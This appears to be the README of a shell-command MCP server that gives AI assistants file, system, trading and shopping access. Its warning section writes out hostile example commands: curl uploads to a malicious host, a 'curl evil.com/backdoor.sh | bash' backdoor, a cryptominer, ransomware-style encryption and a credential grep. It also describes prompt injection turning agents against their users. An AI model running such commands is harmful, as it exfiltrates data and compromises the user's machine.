Shell MCP

A production-ready MCP (Model Context Protocol) server that provides shell command execution and system operations capabilities.

📚 View the complete documentation website for an enhanced reading experience with interactive examples and guides.

Table of Contents

• What is This? - Understand what this server does
• ⚠️ Important Disclaimer & Safety Warning - READ THIS FIRST
• Real-World Use Cases - See practical scenarios including stock trading, web automation, and online shopping
• How to Use with AI Assistants - Setup guides for Claude Desktop and other tools
• Example Conversations - See it in action with real examples
• Tips for Best Results - Get the most out of your AI assistant
• Enabling Advanced Features - Setup stock market APIs, browser automation, and more
• Installation for End Users - Quick setup guide
• Available Tools - Tool reference
• Security Considerations - Important security information
• For Developers - Development and contribution guide

What is This?

This MCP server enables AI assistants (like Claude, ChatGPT, or other AI agents) to interact with your computer's operating system. Once connected, your AI assistant can:

• Execute shell commands on your behalf
• Read and write files
• Monitor system resources and processes
• Automate complex workflows
• Track stock market prices and trading signals
• Search and compare prices on Amazon and other online retailers
• Open applications and control your browser
• Schedule automated tasks and routines

Think of it as giving your AI assistant "hands" to help you with system administration, development tasks, data processing, financial monitoring, online shopping, and everyday automation—all while maintaining security controls.

From simple tasks like organizing files, to advanced automation like monitoring your stock portfolio and finding the best deals online, your AI assistant becomes a powerful personal automation engine.

⚠️ Important Disclaimer & Safety Warning

🛑 READ THIS BEFORE USING

THIS SOFTWARE PROVIDES SHELL COMMAND EXECUTION CAPABILITIES TO AI ASSISTANTS. USE AT YOUR OWN RISK.

Legal Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

By using this MCP server, you acknowledge and accept full responsibility for:

• All commands executed by your AI assistant
• Any data loss, system damage, or security breaches that may occur
• Financial losses from automated trading or purchasing decisions
• Any unauthorized access or malicious use of your system
• Compliance with all applicable laws and terms of service

⚠️ Critical Security Warnings

🔴 EXTREME DANGER: Unsandboxed Mode

Running this server WITHOUT sandbox mode gives your AI assistant UNRESTRICTED ACCESS to:

• Your entire file system - Can read, modify, or delete ANY file
• All system commands - Can execute ANY shell command with your user permissions
• Network access - Can make external connections, download files, send data
• Process control - Can start, stop, or kill any process
• Financial systems - Can execute trades, make purchases, transfer money if credentials are accessible
• Personal data - Can access emails, documents, browser history, passwords (if stored locally)

WITHOUT SANDBOX_MODE=true, YOUR AI ASSISTANT HAS THE SAME POWER AS YOU SITTING AT YOUR KEYBOARD.

🟡 Potential Dangers Even With Sandbox Mode

Data Loss:

• AI might misunderstand requests and delete important files
• Automated scripts could overwrite or corrupt data
• Batch operations can cascade errors across many files

Financial Risk:

• Automated trading scripts could execute unintended transactions
• Price monitoring might act on bad data or API errors
• Shopping automation could make unauthorized purchases
• API rate limits could incur unexpected costs

System Instability:

• Resource-intensive commands could crash your system
• Process termination could kill critical services
• Disk operations could fill storage or corrupt filesystems

Privacy Exposure:

• AI might inadvertently read sensitive files
• Logs could contain passwords or API keys
• Executed commands might expose environment variables

Malicious AI Behavior:

• If your AI assistant is compromised or has a jailbreak vulnerability
• If prompts are injected with malicious instructions
• If the AI model develops unexpected emergent behaviors
• If the AI is manipulated through social engineering

🚨 How Your AI Agent Could Misuse This Server

Without Proper Safeguards:

Scenario 1: Data Exfiltration

# AI could be tricked into running:
curl -X POST https://malicious-site.com/upload \
  --data-binary @~/Documents/sensitive-data.pdf

Scenario 2: Cryptocurrency Mining

# AI starts background mining process:
nohup ./cryptominer --wallet=attacker-address &

Scenario 3: Backdoor Installation

# AI downloads and runs malicious script:
curl https://evil.com/backdoor.sh | bash

Scenario 4: Unauthorized Financial Transactions

# If trading credentials are accessible:
python execute_trade.py --symbol=LOSS --amount=ALL --action=SELL

Scenario 5: Ransomware-like Behavior

# AI encrypts files or moves them:
find ~/Documents -type f -exec gpg --encrypt {} \;

Scenario 6: System Sabotage

# Filling disk space:
dd if=/dev/zero of=~/bigfile.img bs=1G count=100

Scenario 7: Credential Harvesting

# Searching for sensitive data:
grep -r "password\|api_key\|secret" ~ > /tmp/credentials.txt

✅ How to Protect Yourself

Essential Safety Measures:

1. ALWAYS START WITH SANDBOX_MODE=true

   # In your AI assistant config:
   "SANDBOX_MODE": "true"
   

2. Run with Limited User Permissions

   • Create a dedicated user account with restricted privileges
   • Never run as root/administrator
   • Use file system permissions to limit access

3. Use Network Isolation

   • Run in a Docker container with no network access
   • Use firewall rules to block outbound connections
   • Monitor network traffic for suspicious activity

4. Review Commands Before Execution

   • Always ask your AI to explain commands first
   • Verify destructive operations manually
   • Use --dry-run flags when available

5. Implement File System Restrictions

   # Only allow access to specific directories
   # Use chroot, Docker volumes, or similar isolation
   

6. Monitor and Audit

   • Enable DEBUG mode to log all commands
   • Regularly review logs for suspicious activity
   • Set up alerts for unauthorized operations

7. Limit Financial/Trading Automation

   • Never store trading credentials in plain text
   • Use read-only API keys when possible
   • Implement transaction limits and approval workflows
   • Keep trading automation on isolated systems

8. Regular Backups

   • Maintain recent backups of important data
   • Test backup restoration regularly
   • Store backups offline or in immutable storage

🔒 Recommended Security Configuration

For Testing/Learning:

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "10000",
  "DEBUG": "true"
}

For Personal Use (Low Risk Tasks):

{
  "SANDBOX_MODE": "true",
  "COMMAND_TIMEOUT": "30000",
  "DEBUG": "false"
}

For Production/Critical Systems:

DO NOT USE THIS SERVER ON PRODUCTION SYSTEMS WITHOUT:
- Comprehensive security review
- Penetration testing
- Access control implementation
- Audit logging
- Incident response plan

⚖️ Legal and Ethical Considerations

You are responsible for ensuring:

• Compliance with computer fraud and abuse laws
• Adherence to terms of service for external APIs and services
• Respect for data privacy regulations (GDPR, CCPA, etc.)
• Proper authorization before accessing or modifying systems
• Ethical use of automation and AI capabilities

Trading and Financial Automation:

• Automated trading may violate broker terms of service
• You are liable for all trades executed, even if automated
• Market manipulation is illegal in most jurisdictions
• Seek professional financial advice before automated trading

Web Scraping and Automation:

• Respect robots.txt and website terms of service
• Don't overload servers with excessive requests
• Obtain permission for commercial use of scraped data
• Be aware of copyright and intellectual property rights

🎓 Education and Awareness

This server is intended for:

• Legitimate automation and productivity enhancement
• Learning about AI-assisted development and system administration
• Personal projects and experimentation in controlled environments

This server is NOT intended for:

• Unauthorized access to computer systems
• Malicious activities or causing harm
• Circumventing security measures
• Violating laws, regulations, or terms of service

📞 Incident Response

If you suspect your AI assistant has been compromised or is acting maliciously:

1. Immediately disconnect - Kill the MCP server process
2. Disconnect from network - Unplug ethernet or disable WiFi
3. Review logs - Check what commands were executed
4. Scan for malware - Run antivirus and security scans
5. Change credentials - Update passwords and API keys
6. Report if necessary - Contact relevant parties if data breach occurred

Final Warning

Using this MCP server means trusting your AI assistant with significant system access. While AI assistants are generally helpful and follow instructions, they:

• Can make mistakes in understanding commands
• May be vulnerable to prompt injection attacks
• Could have bugs or unexpected behaviors
• Might misinterpret context or intent
• Cannot be held accountable for their actions

YOU are ultimately responsible for everything that happens on your system.

When in doubt, use SANDBOX_MODE=true and manually review commands before execution.

Real-World Use Cases

For Developers

Scenario 1: Automated Project Setup

"Set up a new React project with TypeScript, install dependencies, initialize Git, and create a basic file structure."

Your AI assistant can execute all these commands, create necessary configuration files, and verify the setup—saving you 15-20 minutes of repetitive work.

Scenario 2: Code Analysis & Refactoring

"Find all TODO comments in my project, categorize them by priority, and create a markdown report."

The AI can search your codebase, analyze patterns, and generate comprehensive reports.

Scenario 3: Development Environment Debugging

"Check why my Docker container isn't starting. Look at the logs, verify port availability, and check system resources."

Your AI assistant can investigate issues by running diagnostic commands and interpreting results.

For System Administrators

Scenario 4: System Health Monitoring

"Give me a comprehensive health check: CPU usage, memory stats, disk space, and any processes using excessive resources."

Get instant, interpreted system diagnostics without manually running multiple commands.

Scenario 5: Log Analysis

"Check the last 100 lines of the system log for errors, summarize the issues, and suggest solutions."

AI can not only retrieve logs but also analyze patterns and provide actionable insights.

Scenario 6: Automated Maintenance

"Clean up old Docker images, remove unused npm packages globally, and clear system cache files older than 30 days."

Execute complex cleanup routines with a single natural language request.

For Data Scientists & Analysts

Scenario 7: Data Pipeline Automation

"Download the CSV from this URL, convert it to JSON, remove duplicates, and save it with today's date."

Chain multiple data processing commands with AI understanding the context.

Scenario 8: Batch File Processing

"Find all .csv files in the data folder, get their row counts, and create a summary report."

Automate repetitive data exploration tasks.

For DevOps Engineers

Scenario 9: Deployment Verification

"Check if the application is running on port 8080, verify the database connection, and test the health endpoint."

Automated post-deployment validation with intelligent interpretation.

Scenario 10: Resource Optimization

"Find processes consuming more than 500MB of RAM, identify what they are, and suggest if any can be safely terminated."

Proactive resource management with AI-guided decision making.

For Traders & Finance Enthusiasts

Scenario 11: Stock Market Monitoring

"Check the current price of Apple, Microsoft, and Tesla stocks. Alert me if any drop below their 50-day moving average."

Your AI can execute Python/Node.js scripts or use curl to fetch real-time stock data from APIs (Alpha Vantage, Yahoo Finance, etc.), analyze trends, and monitor your portfolio automatically.

Scenario 12: Automated Trading Signals

"Every morning at 9:30 AM, analyze the top 10 tech stocks, check their pre-market movement, and create a trading signals report with buy/sell recommendations based on technical indicators."

Set up cron jobs or scheduled scripts that your AI runs to fetch market data, perform technical analysis (RSI, MACD, Bollinger Bands), and generate actionable insights—all automated through shell commands.

Scenario 13: Portfolio Tracking

"I bought 10 shares of NVDA at $875. Track its performance, calculate my current profit/loss, and notify me if it gains or loses more than 5%."

Your AI can maintain a portfolio tracker script, update it with real-time data, and send you intelligent summaries of your investments.

For Daily Automation & Productivity

Scenario 14: Smart Browser Automation

"Open Chrome, navigate to my company's dashboard, take a screenshot of the analytics page, and save it to my reports folder."

Using commands like open (macOS), start (Windows), or xdg-open (Linux), plus tools like Puppeteer or Selenium scripts, your AI can automate browser tasks, scrape data, and capture information.

Scenario 15: Application Management

"Launch Spotify, play my 'Focus' playlist, then open VS Code with my current project, and start the MongoDB server."

Your AI can orchestrate your entire work environment by launching applications, executing AppleScripts (macOS), PowerShell scripts (Windows), or shell commands to create your perfect workspace setup with one request.

Scenario 16: Web Search & Research

"Search for the latest information about 'quantum computing breakthroughs 2026' from multiple sources, summarize the findings, and save them to a markdown file."

Using curl, wget, or Python scripts with BeautifulSoup, your AI can search the web, aggregate information from multiple sources, and compile research reports automatically.

Scenario 17: Amazon Shopping Assistant

"Search Amazon for the best-rated wireless headphones under $200, compare the top 5 options by price and reviews, and create a comparison table."

Your AI can run scripts that use Amazon's Product Advertising API or web scraping to:

• Search for products based on your criteria
• Compare prices across different sellers
• Track price history and alert you to deals
• Analyze customer reviews and ratings
• Even automate purchases through Amazon CLI tools or scripts (with your explicit approval)

Scenario 18: Online Price Monitoring

"Monitor the price of the 'Sony A7 IV camera' across Amazon, B&H, and Adorama. Check every 6 hours and alert me when it drops below $2,300."

Set up automated price tracking scripts that your AI manages, running scheduled checks and notifying you of price drops or lightning deals.

Scenario 19: Smart Shopping Lists

"I need to buy ingredients for lasagna. Search for the best prices on Amazon Fresh and local grocery delivery services, then generate a shopping list with the cheapest options."

Your AI can aggregate data from multiple sources, compare prices, and optimize your shopping to save money—all automated through API calls and web searches.

Scenario 20: Multi-Platform Search & Purchase

"I need a standing desk. Search Amazon, IKEA, and Wayfair for options between $300-$500, filter by ratings above 4.5 stars, and create a comparison spreadsheet."

Your AI orchestrates searches across multiple platforms, normalizes the data, applies your criteria, and presents organized results—saving hours of manual research.

Real-World Automation Examples

Complete Morning Routine:

"Good morning! Check my stock portfolio, show me any significant overnight movements, open my browser to Gmail and calendar, start my development environment, and give me a weather forecast."

End-of-Day Workflow:

"Close all my work apps, back up today's code changes, check if any of my watched Amazon items have price drops, summarize my system's resource usage today, and shut down unnecessary services."

Shopping Automation:

"I need to buy: noise-canceling headphones, a mechanical keyboard, and a laptop stand. For each, find the top 3 options on Amazon under $150, $100, and $50 respectively. Compare them and tell me which combination gives the best value."

How to Use with AI Assistants

Claude Desktop

There are two ways to configure shell-mcp with Claude Desktop:

Option 1: Local Installation (Recommended for Development)

1. Install the server:

   git clone https://github.com/luciVuc/shell-mcp.git
   cd shell-mcp
   npm install
   npm run build
   

2. Configure Claude Desktop:

   Edit your Claude Desktop config file:

   • macOS/Linux: ~/Library/Application Support/Claude/claude_desktop_config.json
   • Windows: %APPDATA%\Claude\claude_desktop_config.json

   Add this configuration:

   {
     "mcpServers": {
       "shell": {
         "command": "node",
         "args": ["/absolute/path/to/shell-mcp/dist/main.js"],
         "env": {
           "SANDBOX_MODE": "false",
           "COMMAND_TIMEOUT": "30000"
         }
       }
     }
   }
   

3. Restart Claude Desktop

Option 2: Using npx (No Installation Required)

If you prefer not to clone and build the project locally, you can run shell-mcp directly from npm using npx:

Configuration without installing:

Edit your Claude Desktop config file as above, and add:

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "false",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

For production use (with sandbox enabled):

{
  "mcpServers": {
    "shell": {
      "command": "npx",
      "args": ["@lucid-spark/shell-mcp"],
      "env": {
        "SANDBOX_MODE": "true",
        "COMMAND_TIMEOUT": "30000"
      }
    }
  }
}

Note: The first time you run this, npx will download and cache the package. Subsequent runs will use the cached version for faster startup.

Getting Started

After configuring either option:

1. Restart Claude Desktop

2. Start using it:

   "Can you check my system's CPU and memory usage?" "Create a backup script that archives my projects folder." "Find all JavaScript files modified in the last week."

See CLAUDE_SETUP.md for detailed configuration options and environment variables.

Other MCP-Compatible AI Tools

Any AI assistant that supports the Model Context Protocol can use this server:

Example: Custom AI Agent (Python)

from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

# Connect to the MCP server
server_params = StdioServerParameters(
    command="node",
    args=["/path/to/shell-mcp/dist/main.js"],
    env={"SANDBOX_MODE": "true"}
)

async with stdio_client(server_params) as (read, write):
    async with ClientSession(read, write) as session:
        # Initialize connection
        await session.initialize()

        # List available tools
        tools = await session.list_tools()

        # Execute a command
        result = await session.call_tool("exec", {
            "command": "df -h"
        })
        print(result)

Example: Node.js AI Agent

import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

// Create MCP client
const transport = new StdioClientTransport({
  command: "node",
  args: ["/path/to/shell-mcp/dist/main.js"],
  env: { SANDBOX_MODE: "true" },
});

const client = new Client(
  {
    name: "my-ai-agent",
    version: "1.0.0",
  },
  { capabilities: {} }
);

await client.connect(transport);

// Get system info
const result = await client.callTool({
  name: "getSystemInfo",
  arguments: {},
});

console.log(result);

What Your AI Agent Can Do

Once connected, your AI assistant can help with:

System Operations:

• Monitor CPU, memory, and disk usage
• Check running processes and resource consumption
• Verify system uptime and health
• Analyze system logs

File Management:

• Create, read, update, and delete files
• Search for files by name or content
• Batch rename or organize files
• Generate reports from file data

Development Tasks:

• Run build scripts and tests
• Install dependencies
• Search codebases
• Execute git commands
• Deploy applications

Data Processing:

• Download and process files
• Convert between formats
• Extract and transform data
• Generate reports and summaries

Automation:

• Schedule and run maintenance tasks
• Execute complex multi-step workflows
• Perform system backups
• Clean up temporary files

Debugging & Diagnostics:

• Check application logs
• Verify network connectivity
• Test API endpoints
• Investigate errors

Example Conversations

Here are real examples of how you might interact with your AI assistant once this MCP server is connected:

Example 1: System Health Check

You: "Can you check my system's health and let me know if anything needs attention?"

AI Assistant: Uses getSystemInfo tool, then exec to check disk space and running processes

"Your system looks healthy overall:

• CPU: 8 cores, currently at 23% usage
• Memory: 16GB total, 8.2GB free (51% available)
• Disk: 500GB total, 127GB free (25% - you might want to clean up soon)
• Uptime: 5 days, 3 hours

I noticed your Docker Desktop is using 3.2GB of RAM. Would you like me to check if there are any unused containers we can remove?"

Example 2: Project Analysis

You: "I have a Node.js project in ~/projects/my-app. Can you analyze it and tell me about its structure and any potential issues?"

AI Assistant: Uses listDir and readFile tools

"I've analyzed your project. Here's what I found:

• 47 JavaScript files, 12 JSON config files
• Dependencies: 23 production, 15 dev dependencies
• Last modified: package.json (2 hours ago)
• Potential issues:
  • Found 8 TODO comments in the code
  • 3 packages have known vulnerabilities (need npm audit fix)
  • No .env.example file (should add one for team members)

Would you like me to create a detailed report or help fix any of these issues?"

Example 3: Data Processing

You: "I have CSV files in ~/data/sales/ from this month. Can you combine them, remove duplicates, and create a summary?"

AI Assistant: Uses listDir, readFile, exec, and writeFile tools

"Done! I've processed your sales data:

• Found 4 CSV files (sales_week1.csv through sales_week4.csv)
• Combined: 1,247 total records
• Removed: 38 duplicates
• Final dataset: 1,209 unique sales records
• Created: ~/data/sales/february_2026_summary.csv

Summary statistics:

• Total revenue: $47,382
• Average sale: $39.12
• Top product: Widget Pro (237 sales)

The combined file is ready at ~/data/sales/february_2026_summary.csv"

Example 4: Development Workflow

You: "Set up a new React project called 'dashboard' with TypeScript, install Tailwind CSS, and create a basic component structure."

AI Assistant: Uses exec and writeFile tools

"Project setup complete! Here's what I did:

1. Created React + TypeScript project: ✓
2. Installed Tailwind CSS and configured it: ✓
3. Created component structure:
   • src/components/Header.tsx
   • src/components/Sidebar.tsx
   • src/components/Dashboard.tsx
   • src/pages/Home.tsx
4. Initialized Git repository: ✓
5. Created .gitignore: ✓

Next steps you might want:

• Run 'npm run dev' to start the development server
• Configure authentication
• Add routing with React Router

Would you like me to add anything else?"

Example 5: Troubleshooting

You: "My web server won't start. It's supposed to run on port 3000. Can you help me figure out why?"

AI Assistant: Uses exec and listProcesses tools

"I found the issue! Port 3000 is already in use:

Process using port 3000:

• PID: 8472
• Command: node old-server.js
• Started: 3 days ago

This appears to be an old server that's still running. Options:

1. Kill this process (I can do this for you)
2. Change your new server to use a different port (like 3001)
3. Check if you still need the old server running

What would you like to do?"

Example 6: Stock Market Monitoring & Trading Signals

You: "I'm interested in tech stocks. Can you check the current prices for Apple, Microsoft, Google, and NVIDIA, and let me know if any look like good buying opportunities based on their recent performance?"

AI Assistant: Uses exec tool to run a Python script that fetches stock data via APIs

"I've analyzed the current market data for your tech stocks:

AAPL (Apple Inc.) - $178.45 (+2.3% today)

• Recent trend: Strong upward momentum
• 50-day MA: $172.30 (currently above - bullish signal)
• RSI: 58 (neutral, room to grow)
• Signal: ✅ MODERATE BUY
• Note: Breaking through resistance at $177

MSFT (Microsoft) - $412.80 (-0.8% today)

• Recent trend: Slight pullback from highs
• 50-day MA: $408.50 (currently above)
• RSI: 52 (neutral)
• Signal: ⏸️ HOLD/WATCH
• Note: Minor consolidation, possible buying opportunity on dip

GOOGL (Alphabet) - $145.20 (+1.1% today)

• Recent trend: Steady upward climb
• 50-day MA: $141.80 (above - bullish)
• RSI: 62 (approaching overbought)
• Signal: ⚠️ WATCH
• Note: Strong but getting pricey short-term

NVDA (NVIDIA) - $892.30 (+4.7% today)

• Recent trend: Very strong momentum
• 50-day MA: $825.40 (well above)
• RSI: 71 (slightly overbought)
• Signal: ⚠️ OVEREXTENDED
• Note: Amazing run but may need consolidation

Best Opportunity: MSFT looks like the best entry point if it dips to $405-408 range. AAPL is also showing good momentum with room to grow.

Would you like me to:

1. Set up automated monitoring to alert you when MSFT hits $405?
2. Create a detailed technical analysis report?
3. Track these stocks and notify you of significant changes?"

Example 7: Smart Amazon Shopping Assistant

You: "I need to buy a good pair of wireless noise-canceling headphones for under $300. Can you help me find the best options on Amazon?"

AI Assistant: Uses exec tool to run a web scraping script or Amazon API integration

"I've searched Amazon for wireless noise-canceling headphones under $300. Here are the top 5 options:

1. Sony WH-1000XM5 - $279.99 ⭐⭐⭐⭐⭐

• Rating: 4.7/5 (18,432 reviews)
• Features: Industry-leading ANC, 30hr battery, multipoint connection
• Price history: Currently $20 below average price
• ✅ BEST OVERALL - Premium quality at your budget limit

2. Bose QuietComfort 45 - $249.00 ⭐⭐⭐⭐⭐

• Rating: 4.6/5 (12,891 reviews)
• Features: Excellent ANC, 24hr battery, comfortable for long wear
• Price history: All-time low price!
• 💰 BEST VALUE - Great price drop right now

3. Apple AirPods Max - $449.00 ❌ (Over budget)

• Rating: 4.8/5 (8,234 reviews)
• Too expensive, but I'm mentioning because there's a 20% off deal alert

4. Sennheiser Momentum 4 - $289.99 ⭐⭐⭐⭐⭐

• Rating: 4.5/5 (6,721 reviews)
• Features: 60hr battery!, excellent sound quality, good ANC
• 🔋 BEST BATTERY LIFE

5. Anker Soundcore Space Q45 - $129.99 ⭐⭐⭐⭐

• Rating: 4.4/5 (9,156 reviews)
• Features: 50hr battery, good ANC for price, adaptive
• 💵 BUDGET CHAMPION - Best bang for buck

My Recommendation: If you want the absolute best: Sony WH-1000XM5 (best noise canceling) If you want the best deal: Bose QC45 (amazing price right now at $249!)

Additional insights:

• Bose QC45 is currently at lowest price in 90 days - great time to buy!
• Sony WH-1000XM5 rarely goes on sale, $280 is very fair
• All options have free Prime shipping

Would you like me to:

1. Add one of these to your cart?
2. Set up price alerts if you want to wait for a better deal?
3. Search for refurbished/open-box versions to save more?
4. Compare these with similar options from Best Buy or other retailers?"

Example 8: Morning Market Routine Automation

You: "Can you set up a morning routine that checks my stock portfolio, the market news, and opens my trading dashboard every weekday at 9:00 AM?"

AI Assistant: Uses writeFile to create a script and exec to set up a cron job

"I've created a comprehensive morning market routine! Here's what I set up:

Created: ~/scripts/morning-market-routine.sh

What it does at 9:00 AM every weekday:

1. ✅ Fetches your portfolio data (AAPL, MSFT, NVDA, GOOGL holdings)
2. ✅ Calculates overnight profit/loss
3. ✅ Checks major market indices (S&P 500, NASDAQ, DOW)
4. ✅ Pulls top 5 trending stocks and crypto
5. ✅ Scans financial news for your ticker symbols
6. ✅ Opens your TradingView dashboard in Chrome
7. ✅ Generates a summary report and sends it to your terminal

Scheduled: Cron job installed for weekdays at 9:00 AM EST

Sample of what you'll see tomorrow:

═══════════════════════════════════════════
📊 MORNING MARKET BRIEFING - Feb 29, 2026
═══════════════════════════════════════════

YOUR PORTFOLIO:
  Total Value: $48,320 (+$420 overnight, +0.88%)

  AAPL: 25 shares @ $178.45 → $4,461 (+1.2%)
  MSFT: 10 shares @ $412.80 → $4,128 (-0.3%)
  NVDA: 15 shares @ $892.30 → $13,384 (+2.1%)
  Cash: $26,347

MARKET OVERVIEW:
  S&P 500: +0.4% (pre-market)
  NASDAQ: +0.7% (tech rally continues)

TRENDING: AI chipmakers surging on new data center demand
  Top gainer: AMD +3.8% pre-market

NEWS ALERTS:
  - NVDA announces new AI chip partnership
  - MSFT expanding cloud services in Europe

Your browser will auto-open to your dashboard, and the full report will be saved to ~/market-reports/2026-02-29.txt

Want me to tweak any settings or add more features?"

Tips for Best Results

Communicating with Your AI Assistant

Be Specific:

• ❌ "Check my files"
• ✅ "List all PDF files in my Documents folder modified in the last week"

Ask for Summaries:

• "Get my system info and tell me if anything looks concerning"
• "Check the last 50 lines of the server log and summarize any errors"

Request Multi-Step Actions:

• "Find all Node.js projects on my system, check which ones need dependency updates, and create a summary report"

Use Natural Language:

• You don't need to know command syntax!
• Say "find big files" instead of trying to construct find commands
• Your AI will translate your intent into proper commands

Safety Tips

Start with Sandbox Mode:

# In your AI assistant config
"SANDBOX_MODE": "true"

This adds extra safety checks while you get comfortable.

Review Before Destructive Actions:

• Your AI assistant will typically ask before deleting files or making major changes
• You can always ask "show me what command you're about to run"

Use for Automation:

• Once you're comfortable, create scripts for repetitive tasks
• Example: "Create a backup script that I can run weekly"

Monitor Resource Usage:

• Ask your AI to check system resources if things slow down
• Example: "What's using the most memory on my system?"

What to Try First

1. System Check: "Give me a system health overview"
2. File Organization: "Help me organize my Downloads folder"
3. Project Analysis: "Analyze my project at ~/code/myapp"
4. Log Investigation: "Check if there are any errors in my application logs"
5. Process Management: "Show me what's using the most CPU"

Enabling Advanced Features

For advanced automation like stock market monitoring, web browsing, and online shopping, you may need additional tools:

Stock Market & Financial APIs

Option 1: Free APIs (Recommended for starting)

# Alpha Vantage (Free tier: 500 requests/day)
# Get your free API key at: https://www.alphavantage.co/support/#api-key
export ALPHA_VANTAGE_API_KEY="your_key_here"

Option 2: Premium APIs

• Yahoo Finance API: Real-time stock data
• Polygon.io: Advanced market data
• IEX Cloud: Financial data platform

Example Script Your AI Can Use:

# ~/scripts/stock_checker.py
import requests
import os

def get_stock_price(symbol):
    api_key = os.getenv('ALPHA_VANTAGE_API_KEY')
    url = f'https://www.alphavantage.co/query?function=GLOBAL_QUOTE&symbol={symbol}&apikey={api_key}'
    response = requests.get(url)
    return response.json()

# Your AI assistant can run: python ~/scripts/stock_checker.py

Browser Automation

Install Puppeteer (Node.js) or Playwright:

# For web scraping and browser automation
npm install -g puppeteer
# or
npm install -g playwright

Your AI can then:

• Open websites automatically
• Fill forms and click buttons
• Take screenshots
• Extract data from web pages

Amazon Shopping & Price Monitoring

Option 1: Amazon Product Advertising API

• Sign up at: https://affiliate-program.amazon.com/assoc_credentials/home
• Free for Amazon Associates
• Your AI can search products programmatically

Option 2: Web Scraping (for personal use)

# Install a scraping tool
pip install beautifulsoup4 requests

Option 3: Price Tracking Tools

# CamelCamelCamel API integration or similar services
# Your AI can check price history automatically

Opening Applications

macOS:

# Your AI uses commands like:
open -a "Google Chrome" https://amazon.com
open -a "Spotify"

Windows:

start chrome https://amazon.com
start spotify

Linux:

xdg-open https://amazon.com
spotify &

Scheduled Automation

Your AI can set up scheduled tasks:

macOS/Linux (Cron):

# Your AI creates cron jobs for you
crontab -e
# Example: Check stocks every hour on weekdays
0 9-16 * * 1-5 /usr/bin/python3 ~/scripts/stock_checker.py

Windows (Task Scheduler):

# Your AI can create scheduled tasks
schtasks /create /tn "StockCheck" /tr "python stock_checker.py" /sc daily /st 09:00

Getting Started with Advanced Features

1. Start Simple: Begin with basic stock price checks using free APIs
2. Build Gradually: Add browser automation for specific websites
3. Automate Routine: Let your AI create scheduled scripts for daily tasks
4. Stay Safe: Always review scripts before running, especially for financial transactions

Your AI Assistant Can Help You Setup:

• "Help me get an Alpha Vantage API key and set it up"
• "Install Puppeteer and create a script to check Amazon prices"
• "Set up a cron job to check my stock portfolio every morning"

Features

• Shell Command Execution: Execute arbitrary shell commands with timeout and security controls
• File Operations: Read, write, delete files and list directories with path traversal protection
• System Information: Cross-platform system info retrieval (CPU, memory, disk, OS)
• Process Management: List and filter running processes
• Multi-Transport Support: stdio (default), SSE (deprecated), and Streamable HTTP transports
• Security: Command validation, sandboxing, path traversal protection, rate limiting, and audit logging
• Sudo Support: Opt-in privileged command execution with password handling
• Cross-Platform: Works on macOS, Linux, and Windows
• Production-Ready: Comprehensive error handling, logging, input validation with Zod, and graceful shutdown
• Well-Documented: Extensive documentation including security guidelines and setup guides
• Fully Tested: Unit tests with vitest and integration tests

Installation for End Users

To use this MCP server with your AI assistant, follow these steps:

Prerequisites

• Node.js (version 18 or higher) - Download here
• npm (comes with Node.js)
• An MCP-compatible AI assistant (like Claude Desktop)

Step-by-Step Setup

1. Clone or download this repository:

   git clone https://github.com/luciVuc/shell-mcp.git
   cd shell-mcp
   

2. Install dependencies:

   npm install
   

3. Build the server:

   npm run build
   

4. Configure your AI assistant (see "How to Use with AI Assistants" section above)

5. Start chatting with your AI! Your assistant now has access to system operations.

Optional: Configuration

Customize behavior using environment variables:

Variable	Default	Description
TRANSPORT	stdio	Transport type: stdio, sse, or streamable-http
SANDBOX_MODE	false	When true, blocks risky commands (network, process control, etc.)
COMMAND_TIMEOUT	30000	Maximum time (ms) for commands to run
ALLOW_SUDO	false	When true, allows sudo prefixed commands
SUDO_PASSWORD	—	Password for sudo -S (never logged)
DEBUG	false	Enables detailed logging
AUDIT_LOG	false	Logs all tool calls to logs/audit.log
PORT	3000	HTTP port for SSE / Streamable HTTP transports
HOST	127.0.0.1	Host/IP to bind for HTTP transports
MCP_ENDPOINT	/mcp	Endpoint path for Streamable HTTP transport

Example .env file:

SANDBOX_MODE=false
COMMAND_TIMEOUT=30000
DEBUG=false
TRANSPORT=stdio

Enabling Sudo Support

Sudo commands are blocked by default for security. To enable privileged command execution:

Option 1: NOPASSWD sudoers (recommended for automation)

Configure specific commands in your sudoers file so no password is required:

# Edit sudoers safely
sudo visudo

# Add a rule for the user running the MCP server
mcp-user ALL=(ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/systemctl restart nginx

Then enable sudo in your configuration:

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/path/to/shell-mcp/dist/main.js"],
      "env": {
        "ALLOW_SUDO": "true"
      }
    }
  }
}

Option 2: Password-based sudo

If NOPASSWD is not an option, provide SUDO_PASSWORD. The password is piped via sudo -S and never logged:

{
  "mcpServers": {
    "shell": {
      "command": "node",
      "args": ["/path/to/shell-mcp/dist/main.js"],
      "env": {
        "ALLOW_SUDO": "true",
        "SUDO_PASSWORD": "your-password-here"
      }
    }
  }
}

⚠️ Security Warning: Environment variables may be visible in process listings. For production, prefer NOPASSWD sudoers rules scoped to specific commands. Enable AUDIT_LOG=true to track all sudo usage.

What happens without ALLOW_SUDO

When ALLOW_SUDO is not set (the default), any command starting with sudo is rejected:

❌ "sudo apt-get update" → Error: Sudo commands are not allowed
✅ "apt-get update"      → Runs as the current user (may fail without privileges)

For Developers

If you're developing or extending this server:

Quick Start

# Install dependencies
npm install

# Build the project
npm run build

# Run unit tests
npm run test:unit

# Run integration tests
npm test

# Start the server (for development)
npm run dev

# or
npm start

